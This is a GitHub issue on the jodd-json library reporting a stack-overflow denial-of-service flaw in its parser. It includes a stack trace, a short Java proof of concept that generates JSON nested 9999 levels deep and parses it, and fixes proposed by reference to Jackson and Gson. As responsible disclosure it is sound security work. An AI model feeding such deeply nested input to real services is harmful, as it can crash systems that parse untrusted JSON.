search

oblac / jodd-json

JSON Java serializer and parser.
https://json.jodd.org
BSD 2-Clause "Simplified" License
13 stars 2 forks source link

Stack overflow error caused by jodd-json parsing of untrusted JSON String #5

Open PoppingSnack opened 1 year ago

PoppingSnack commented 1 year ago

Stack overflow error caused by jodd-json parsing of untrusted JSON String

Description

Using jodd-json to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at jodd.json.Path.push(Path.java:83)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:932)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)
    at jodd.json.JsonParser.parseArrayContent(JsonParser.java:956)
    at jodd.json.JsonParser.parseValue(JsonParser.java:505)

PoC

        <dependency>
            <groupId>org.jodd</groupId>
            <artifactId>jodd-json</artifactId>
            <version>6.0.3</version>
        </dependency>

import jodd.json.JsonParser;

/**
 * PoC
 *
 * @since 1.0.0
 */
public class PoC {
    public final static int TOO_DEEP_NESTING = 9999;
    public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1");
    public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}";

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }
    public static void main(String[] args) {
        JsonParser jsonParser = JsonParser.create();
//        jsonParser.parseAsJsonObject(TOO_DEEP_Object);
        jsonParser.parseAsJsonArray(TOO_DEEP_Array);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）)

igr commented 1 year ago

I have a solution with throwing an exception. But want to think if I can fix it in a different way...

igr commented 1 year ago

The correct url: https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027